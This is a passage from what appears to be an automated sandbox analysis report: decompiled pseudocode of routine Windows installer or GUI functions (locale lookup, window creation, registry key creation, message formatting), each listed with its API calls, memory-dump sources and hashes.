					E00403468(0x4901f0, _t69,  *((intOrPtr*)(_t69 + 0x20)), _t96, _t99);
				}
				_t109 =  *((intOrPtr*)(_t69 + 0x24));
				if( *((intOrPtr*)(_t69 + 0x24)) == 0) {
					_t80 =  *0x49007c; // 0x0
					E00403468(0x4901f4, _t69, _t80, _t96, _t99);
				} else {
					E00403468(0x4901f4, _t69,  *((intOrPtr*)(_t69 + 0x24)), _t96, _t99);
				}
				_t35 =  *0x48fcd4; // 0x230b35c
				E0042E910(0, 0, E00403750(_t35), _t109);
				_t39 =  *0x48fbf0; // 0x230a324
				E0042E910(1, 0, E00403750(_t39), _t109);
				_t43 =  *0x48fc7c; // 0x230ab60
				E0042E910(2, 0, E00403750(_t43), _t109);
				_t47 =  *0x48fc7c; // 0x230ab60
				E0042E910(3, 0, E00403750(_t47), _t109);
				_t85 =  *0x48fdbc; // 0x22f2d78
				_t51 =  *0x48f628; // 0x22f2410
				E004242A8(_t51, _t85, _t96);
				_t16 =  *0x4901b0; // 0x22f59fc
				_t101 =  *((intOrPtr*)(_t16 + 8)) - 1;
				if(_t101 < 0) {
					L20:
					if( *0x48ff6c == 0) {
						goto L22;
					}
					_t53 =  *0x48ff70; // 0x2042c
					_t54 = SendNotifyMessageA(_t53, 0x496, 0x2711, _t103); // executed
					return _t54;
				} else {
					_t102 = _t101 + 1;
					_t97 = 0;
					do {
						_t55 =  *0x4901b0; // 0x22f59fc
						_t70 = E0040B420(_t55, _t97);
						_t58 =  *((intOrPtr*)(_t70 + 0x25)) - 1;
						if(_t58 == 0) {
							_t13 = _t70 + 4; // 0x4
							_t87 =  *0x48fcb8; // 0x230b198
							_t16 = E00403468(_t13, _t70, _t87, _t97, _t102);
						} else {
							_t60 = _t58 - 1;
							if(_t60 == 0) {
								_t14 = _t70 + 4; // 0x4
								_t88 =  *0x48fbd8; // 0x230a110
								_t16 = E00403468(_t14, _t70, _t88, _t97, _t102);
							} else {
								_t16 = _t60 - 1;
								if(_t16 == 0) {
									_t15 = _t70 + 4; // 0x4
									_t89 =  *0x48fbf8; // 0x230a390
									_t16 = E00403468(_t15, _t70, _t89, _t97, _t102);
								}
							}
						}
						_t97 = _t97 + 1;
						_t102 = _t102 - 1;
					} while (_t102 != 0);
					goto L20;
				}
			}

0x00475288
0x00475288
0x0047528c
0x0047528e
0x00475294
0x0047543e
0x0047543e
0x0047543e
0x0047529c
0x004752a6
0x004752b0
0x004752b1
0x004752b4
0x004752b9
0x004752ba
0x004752bf
0x004752cf
0x004752d4
0x004752e0
0x004752e2
0x004752ea
0x004752f3
0x00475309
0x0047530f
0x004752f5
0x004752fd
0x004752fd
0x00475318
0x0047532e
0x00475334
0x0047531a
0x00475322
0x00475322
0x00475339
0x0047533d
0x00475353
0x00475359
0x0047533f
0x00475347
0x00475347
0x0047535e
0x0047536c
0x00475371
0x0047537f
0x00475384
0x00475392
0x00475397
0x004753a5
0x004753aa
0x004753b0
0x004753b5
0x004753ba
0x004753c2
0x004753c5
0x0047541b
0x00475422
0x00000000
0x00000000
0x0047542f
0x00475435
0x00000000
0x004753c7
0x004753c7
0x004753c8
0x004753ca
0x004753cc
0x004753d6
0x004753db
0x004753dd
0x004753e9
0x004753ec
0x004753f2
0x004753df
0x004753df
0x004753e1
0x004753f9
0x004753fc
0x00475402
0x004753e3
0x004753e3
0x004753e5
0x00475409
0x0047540c
0x00475412
0x00475412
0x004753e5
0x004753e1
0x00475417
0x00475418
0x00475418
0x00000000
0x004753ca

APIs

SendNotifyMessageA.USER32(0002042C,00000496,00002711,00000000), ref: 00475435

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: MessageNotifySend
String ID:
API String ID: 3556456075-0
Opcode ID: 37336e12cff04accab694ac7c62c67a82c7a5eb278b6aba67f1376f69c3f0586
Instruction ID: 8e6a71a94778eff19e63319509ba446193ee9454dd77d70e1ea9677a86aea3ab
Opcode Fuzzy Hash: 37336e12cff04accab694ac7c62c67a82c7a5eb278b6aba67f1376f69c3f0586
Instruction Fuzzy Hash: CA4130713006048BCB01FF6AEC8265A7795AB44305B64C53BA9089F3B6CBBDDD46CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00408574 Relevance: 1.6, APIs: 1, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E00408574(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				int _v12;
				char _v16;
				char _v20;
				void* _t76;
				void* _t77;
				intOrPtr _t103;
				void* _t106;
				void* _t107;
				void* _t109;
				void* _t110;
				void* _t113;

				_v16 = 0;
				_v20 = 0;
				_push(_t113);
				_push(0x4086aa);
				_push( *[fs:eax]);
				 *[fs:eax] = _t113 + 0xfffffff0;
				_v12 = GetSystemDefaultLCID();
				_t76 = 1;
				_t109 = 0x48f4c0;
				_t106 = 0x48f4f0;
				do {
					_t6 = _t76 + 0xffbf; // 0xffc0
					E00406D84(_t6,  &_v20);
					_t8 = _t76 + 0x44; // 0x45
					E00408500(_v12, _v20, _t8 - 1,  &_v16); // executed
					E00403468(_t109, _t76, _v16, _t106, _t109);
					_t13 = _t76 + 0xffcf; // 0xffd0
					E00406D84(_t13,  &_v20);
					_t15 = _t76 + 0x38; // 0x39
					E00408500(_v12, _v20, _t15 - 1,  &_v16);
					E00403468(_t106, _t76, _v16, _t106, _t109);
					_t76 = _t76 + 1;
					_t106 = _t106 + 4;
					_t109 = _t109 + 4;
				} while (_t76 != 0xd);
				_t77 = 1;
				_t110 = 0x48f520;
				_t107 = 0x48f53c;
				do {
					_t18 = _t77 + 5; // 0x6
					asm("cdq");
					_v8 = _t18 % 7;
					_t26 = _t77 + 0xffdf; // 0xffe0
					E00406D84(_t26,  &_v20);
					E00408500(_v12, _v20, _v8 + 0x31,  &_v16);
					E00403468(_t110, _t77, _v16, _t107, _t110);
					_t33 = _t77 + 0xffe6; // 0xffe7
					E00406D84(_t33,  &_v20);
					E00408500(_v12, _v20, _v8 + 0x2a,  &_v16);
					E00403468(_t107, _t77, _v16, _t107, _t110);
					_t77 = _t77 + 1;
					_t107 = _t107 + 4;
					_t110 = _t110 + 4;
				} while (_t77 != 8);
				_pop(_t103);
				 *[fs:eax] = _t103;
				_push(E004086B1);
				return E00403438( &_v20, 2);
			}

0x0040857f
0x00408582
0x00408587
0x00408588
0x0040858d
0x00408590
0x00408598
0x0040859b
0x004085a0
0x004085a5
0x004085aa
0x004085b1
0x004085b7
0x004085bf
0x004085c6
0x004085d0
0x004085dc
0x004085e2
0x004085ea
0x004085f1
0x004085fb
0x00408600
0x00408601
0x00408604
0x00408607
0x0040860c
0x00408611
0x00408616
0x0040861b
0x0040861b
0x00408623
0x00408626
0x00408630
0x00408636
0x00408647
0x00408651
0x0040865d
0x00408663
0x00408674
0x0040867e
0x00408683
0x00408684
0x00408687
0x0040868a
0x00408691
0x00408694
0x00408697
0x004086a9

APIs

GetSystemDefaultLCID.KERNEL32(00000000,004086AA), ref: 00408593

Part of subcall function 00406D84: LoadStringA.USER32 ref: 00406DA1

Part of subcall function 00408500: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0048F4C0,00000001,?,004085CB,?,00000000,004086AA), ref: 0040851E

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: DefaultInfoLoadLocaleStringSystem
String ID:
API String ID: 1658689577-0
Opcode ID: 8300228b4ca49032a965bb097f58aeca5fc65005efcb47fc59437154a63158b6
Instruction ID: 804587c4a4fbe97408789ceecce9f172f4438e6d4b2b8687106b1df71c731af0
Opcode Fuzzy Hash: 8300228b4ca49032a965bb097f58aeca5fc65005efcb47fc59437154a63158b6
Instruction Fuzzy Hash: FA315231E00109AFCB00EF95C8819EEB3B9EF84314F118977E815AB285E738AE058B94

Uniqueness

Uniqueness Score: -1.00%

Function 0041FB80 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041FB80(void* __eax, char __ecx, void* __edx) {
				struct tagSCROLLINFO _v44;
				intOrPtr _t28;
				void* _t40;
				void* _t48;
				signed short _t49;
				intOrPtr _t51;

				_t52 =  &(_v44.nMax);
				_v44.nMax = __ecx;
				_t40 = __edx;
				_t48 = __eax;
				 *((intOrPtr*)(__eax + 0x14)) = 0;
				_t49 = 0;
				if( *((char*)(__eax + 0x18)) == 1) {
					_t49 = 1;
				}
				if( *((char*)(_t48 + 0x1c)) != 0) {
					_t51 =  *((intOrPtr*)(_t48 + 0x10)) - E0041F920(_t48,  *_t52, _t40);
					 *((intOrPtr*)(_t48 + 0x14)) = _t51;
					if(_t51 < 0) {
						 *((intOrPtr*)(_t48 + 0x14)) = 0;
					}
				}
				_v44.cbSize = 0x1c;
				_v44.fMask = 0x17;
				_v44.nMin = 0;
				if( *((intOrPtr*)(_t48 + 0x14)) <= 0) {
					_v44.nMax = 0;
				} else {
					_v44.nMax =  *((intOrPtr*)(_t48 + 0x10));
				}
				_v44.nPage = E0041F920(_t48,  *_t52, _t40) + 1;
				_t28 =  *((intOrPtr*)(_t48 + 0xc));
				_v44.nPos = _t28;
				_v44.nTrackPos = _t28;
				SetScrollInfo(E004181C4( *((intOrPtr*)(_t48 + 4))), _t49 & 0x0000ffff,  &_v44, 1); // executed
				return E0041FA80(_t48,  *((intOrPtr*)(_t48 + 0xc)));
			}

0x0041fb84
0x0041fb87
0x0041fb8a
0x0041fb8c
0x0041fb90
0x0041fb93
0x0041fb99
0x0041fb9b
0x0041fb9b
0x0041fba3
0x0041fbb4
0x0041fbb6
0x0041fbbb
0x0041fbbf
0x0041fbbf
0x0041fbbb
0x0041fbc2
0x0041fbca
0x0041fbd4
0x0041fbdc
0x0041fbe9
0x0041fbde
0x0041fbe1
0x0041fbe1
0x0041fbfa
0x0041fbfe
0x0041fc01
0x0041fc05
0x0041fc1d
0x0041fc33

APIs

SetScrollInfo.USER32(00000000,?,?,00000001), ref: 0041FC1D

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: InfoScroll
String ID:
API String ID: 629608716-0
Opcode ID: b1659b9cf98e61c778d26dfc389632e32ba195a6aed1158de6fb079ecdb15c0a
Instruction ID: a8b9c07c4764db74d34f4489b66f31dd02ebc5feace59a64ccf47019980fef9c
Opcode Fuzzy Hash: b1659b9cf98e61c778d26dfc389632e32ba195a6aed1158de6fb079ecdb15c0a
Instruction Fuzzy Hash: 4F213EB1608745AFC340DF29D4406A7BBE4BB48314F04893EE098C3741E778E99ACBD6

Uniqueness

Uniqueness Score: -1.00%

Function 004661C4 Relevance: 1.5, APIs: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E004661C4(void* __eax, void* __edi, void* __esi) {
				intOrPtr* _v8;
				void* __ebx;
				void* __ebp;
				void* _t3;
				intOrPtr* _t5;
				void* _t14;
				intOrPtr _t20;
				intOrPtr _t24;
				intOrPtr _t26;

				_t3 = __eax;
				_t24 = _t26;
				_t14 = __eax;
				if( *0x490240 < 0x5010000 ||  *0x48ff48 == 0) {
					return _t3;
				} else {
					_t5 = E0041EE88(0, __eax, __edi, __esi); // executed
					_v8 = _t5;
					 *[fs:eax] = _t26;
					 *0x48ff48(0, E00403750(_t14), 0,  *[fs:eax], 0x466222, _t24); // executed
					_t20 = 0;
					 *[fs:eax] = _t20;
					_push(0x466229);
					return E0041EF3C(_v8);
				}
			}

0x004661c4
0x004661c5
0x004661c9
0x004661d5
0x0046622c
0x004661e0
0x004661e2
0x004661e7
0x004661f5
0x00466206
0x0046620e
0x00466211
0x00466214
0x00466221
0x00466221

APIs

Part of subcall function 0041EE88: GetCurrentThreadId.KERNEL32 ref: 0041EED7
Part of subcall function 0041EE88: 73AFAC10.USER32(00000000,0041EE38,00000000,00000000,0041EEF4,?,00000000,0041EF2B,?,0042E6D8,?,00000001), ref: 0041EEDD

SHPathPrepareForWriteA.SHELL32(00000000,00000000,00000000,00000000,00000000,00466222,?,00000000,?,?,00466427,?,00000000,00466466), ref: 00466206

Part of subcall function 0041EF3C: IsWindow.USER32(?), ref: 0041EF4A
Part of subcall function 0041EF3C: EnableWindow.USER32(?,00000001), ref: 0041EF59

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Window$CurrentEnablePathPrepareThreadWrite
String ID:
API String ID: 3199803127-0
Opcode ID: 63837516ed4f1aa3abd9adbd200a937e3ff40dea63f22d2836c6e8250c30d96c
Instruction ID: 117b851928a469a2dcea674701370b063ae8e939fdddb17e9f772b34c162a106
Opcode Fuzzy Hash: 63837516ed4f1aa3abd9adbd200a937e3ff40dea63f22d2836c6e8250c30d96c
Instruction Fuzzy Hash: 73F0B471604300AFE715AB62FC6AB297B9CE309714FA208BFF90492590E6795C50C61D

Uniqueness

Uniqueness Score: -1.00%

Function 00440914 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 0044092B

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: d61e7892e696cd19dbec5936e1f60c0eb1c4f94c101f5f53d8ed807e2bb541d1
Instruction ID: 1f8492072a77c6f3215720ad7f922a87114092f493d47f666b61cb141019389a
Opcode Fuzzy Hash: d61e7892e696cd19dbec5936e1f60c0eb1c4f94c101f5f53d8ed807e2bb541d1
Instruction Fuzzy Hash: 84F096B150910ADBFF1CCF55D0619AF7BA1EB49310B20406FE60B87392C634AD20D75C

Uniqueness

Uniqueness Score: -1.00%

Function 00416534 Relevance: 1.5, APIs: 1, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00416534(void* __eax, CHAR** __edx) {
				struct HINSTANCE__* _t13;
				struct HWND__* _t23;
				void* _t26;

				_t26 = __eax;
				_t13 =  *0x48f014; // 0x400000
				_t23 = CreateWindowExA(__edx[2],  &(__edx[0x13]),  *__edx, __edx[1], __edx[3], __edx[4], __edx[5], __edx[6], __edx[7], 0, _t13, __edx[8]); // executed
				 *(_t26 + 0xc0) = _t23;
				return _t23;
			}

0x00416538
0x0041653e
0x00416569
0x0041656e
0x00416576

APIs

CreateWindowExA.USER32 ref: 00416569

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 60910055b19013ea9a189cf27b56cb768f80878e26af159334e614e543980376
Instruction ID: 0a570082d33188b611a1683747fe0f331d6e25d9a62a4f6c92222c92e35dbe0c
Opcode Fuzzy Hash: 60910055b19013ea9a189cf27b56cb768f80878e26af159334e614e543980376
Instruction Fuzzy Hash: 39F02BB6200510AFDB84DF9CD8C0F9373ECEB0D210B0485A5FA08CF24AD220EC108BB0

Uniqueness

Uniqueness Score: -1.00%

Function 00414998 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?), ref: 004149D3

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 9e73aedc2ede48524128b4fba7c94cddd86b5e43f4b9cee2e76a3e9f018a4363
Instruction ID: 59ac3629b8f45f7a6bca1b57e2bf54285868c68ba6336e642f1ef9b7bb8d2b05
Opcode Fuzzy Hash: 9e73aedc2ede48524128b4fba7c94cddd86b5e43f4b9cee2e76a3e9f018a4363
Instruction Fuzzy Hash: B2F0DA762042019FC740DF6CC8C488A77E5FF89255B5546A9F989CB356C731EC54CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0042CBEC Relevance: 1.5, APIs: 1, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 31%

			E0042CBEC(char* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				char _v8;
				intOrPtr _t21;
				intOrPtr _t26;

				_push(0);
				_push(_t26);
				_push(0x42cc34);
				_push( *[fs:eax]);
				 *[fs:eax] = _t26;
				E0042CAE0(__eax, __ecx,  &_v8, __eflags);
				GetFileAttributesA(E00403750(_v8)); // executed
				_pop(_t21);
				 *[fs:eax] = _t21;
				_push(E0042CC3B);
				return E00403418( &_v8);
			}

0x0042cbef
0x0042cbf8
0x0042cbf9
0x0042cbfe
0x0042cc01
0x0042cc09
0x0042cc17
0x0042cc20
0x0042cc23
0x0042cc26
0x0042cc33

APIs

Part of subcall function 0042CAE0: CharPrevA.USER32(?,00000000,?,00000001,?,?,0042CC0E,00000000,0042CC34,?,00000001,?,?,00000000,?,0042CC86), ref: 0042CB08

GetFileAttributesA.KERNEL32(00000000,00000000,0042CC34,?,00000001,?,?,00000000,?,0042CC86,00000000,00450E69,00000000,00450E8A,?,00000000), ref: 0042CC17

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: AttributesCharFilePrev
String ID:
API String ID: 4082512850-0
Opcode ID: c3879a33e5e8faee6759289f447bdc4ad56aff4458e855c83cfc40d64ea35d92
Instruction ID: 2d68e1f4147489d5e806e421efb80b14b78c91eaaa54119f39ee65666977ef78
Opcode Fuzzy Hash: c3879a33e5e8faee6759289f447bdc4ad56aff4458e855c83cfc40d64ea35d92
Instruction Fuzzy Hash: 44E0ED70300708BBD711FA62AC92A1EBBACDB89704BA10476B400E3281D6B8AE0084AC

Uniqueness

Uniqueness Score: -1.00%

Function 0044F820 Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,?,?,00000000,?,00000080,00000000), ref: 0044F860

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c7e8b16a9e2e46d9e90ff33e921adc2b3c3461ba36f54299435d743643695de4
Instruction ID: 22f9db402a0515e75914d2a385e5e69984b6bc08d721d2b11e33f700aeefffa9
Opcode Fuzzy Hash: c7e8b16a9e2e46d9e90ff33e921adc2b3c3461ba36f54299435d743643695de4
Instruction Fuzzy Hash: A2E0EDB53541583ED280AAAD7C52FAB679C970A754F008436F998D7241C4A19D108BA8

Uniqueness

Uniqueness Score: -1.00%

Function 0042E638 Relevance: 1.5, APIs: 1, Instructions: 28
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0042E638(long __eax, void* __edx) {
				char _v1028;
				long _t6;
				void* _t9;
				void* _t16;
				void* _t18;

				_t9 = __edx;
				_t6 = FormatMessageA(0x3200, 0, __eax, 0,  &_v1028, 0x400, 0); // executed
				while(_t6 > 0) {
					_t16 =  *((intOrPtr*)(_t18 + _t6 - 1)) - 0x21;
					if(_t16 < 0) {
						L1:
						_t6 = _t6 - 1;
						__eflags = _t6;
						continue;
					} else {
						_t21 = _t16 == 0xd;
						if(_t16 == 0xd) {
							goto L1;
						}
					}
					break;
				}
				return E004034F8(_t9, _t6, _t18, _t21);
			}

0x0042e63f
0x0042e657
0x0042e65f
0x0042e667
0x0042e66a
0x0042e65e
0x0042e65e
0x0042e65e
0x00000000
0x0042e66c
0x0042e66c
0x0042e66f
0x00000000
0x00000000
0x0042e66f
0x00000000
0x0042e66a
0x0042e682

APIs

FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,0045163F,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 0042E657

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: FormatMessage
String ID:
API String ID: 1306739567-0
Opcode ID: 455603a8b90b884efaee48bcfa677fb8f326a641c75908919a6fff2db5e4fb31
Instruction ID: 45038a6fbdc243d8347ad9472fd33571d6fa4976b061bf25745ceed24790cfd8
Opcode Fuzzy Hash: 455603a8b90b884efaee48bcfa677fb8f326a641c75908919a6fff2db5e4fb31
Instruction Fuzzy Hash: 88E0207138431129F62510A65C87F7B130DC7A0740F9480363B10DF3D2DDAFD90601AE

Uniqueness

Uniqueness Score: -1.00%

Function 0042DBE4 Relevance: 1.5, APIs: 1, Instructions: 26
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0042DBE4(void* __eax, char* __ecx, void* __edx, int* _a4, void** _a8, struct _SECURITY_ATTRIBUTES* _a12, int _a16, int _a20, char* _a24, int _a28) {
				long _t15;
				char* _t16;
				void* _t17;
				int _t18;

				_t17 = __edx;
				_t16 = __ecx;
				_t18 = _a16;
				if(__eax == 2) {
					_t18 = _t18 | 0x00000100;
				}
				_t15 = RegCreateKeyExA(_t17, _t16, _a28, _a24, _a20, _t18, _a12, _a8, _a4); // executed
				return _t15;
			}

0x0042dbe4
0x0042dbe4
0x0042dbe8
0x0042dbed
0x0042dbef
0x0042dbef
0x0042dc10
0x0042dc17

APIs

RegCreateKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?), ref: 0042DC10

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 09dd07eab4812bc80ae5e1924f89e0aca516d2e63a4ba20224d97dfc25453c98
Instruction ID: 89cbb2395a765718c6971404783d0f5ed735bc8b73b6938cef0302f8f2253497
Opcode Fuzzy Hash: 09dd07eab4812bc80ae5e1924f89e0aca516d2e63a4ba20224d97dfc25453c98
Instruction Fuzzy Hash: 13E07EB2600119AF9B40DE8CDC81EEB37EDAB1D350F454016FA08E7201C2B4EC519BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00452E24 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

FindClose.KERNEL32(00000000,000000FF,0046A1CD,00000000,0046AEDE,?,00000000,0046AF27,?,00000000,0046B060,?,00000000,?,00000000), ref: 00452E3A

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: c9bee2d8dcb77cb83a3583428c6072a6a39ab886ac1e9a3d4e58ecf381fc728c
Instruction ID: 5a3b55c4c8a322745820a5c9987438e3ac614ce5dc39266c5b0cf6c257984760
Opcode Fuzzy Hash: c9bee2d8dcb77cb83a3583428c6072a6a39ab886ac1e9a3d4e58ecf381fc728c
Instruction Fuzzy Hash: B7E09BB0A046008BCB14DF3A898171A76D15F8A320F04C56BBC5CCB3D7D77CC4465657

Uniqueness

Uniqueness Score: -1.00%

Function 00414660 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(0048AC9A,?,0048ACBC,?,?,00000000,0048AC9A,?,?), ref: 0041467F

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 6e76042b9040d81ea616cca6ecacd77bc76811df147480a1eef497ac36b7c045
Instruction ID: 3a83c41fa5c3d176b15f2666d2672a78f9af76d4247255e2ff0bda4df6ea0631
Opcode Fuzzy Hash: 6e76042b9040d81ea616cca6ecacd77bc76811df147480a1eef497ac36b7c045
Instruction Fuzzy Hash: 59E012723001199F8250CE5EDC88C57FBEDEBC966130983A6F508C7306DA31EC44C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00406EA8 Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00406EBC

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
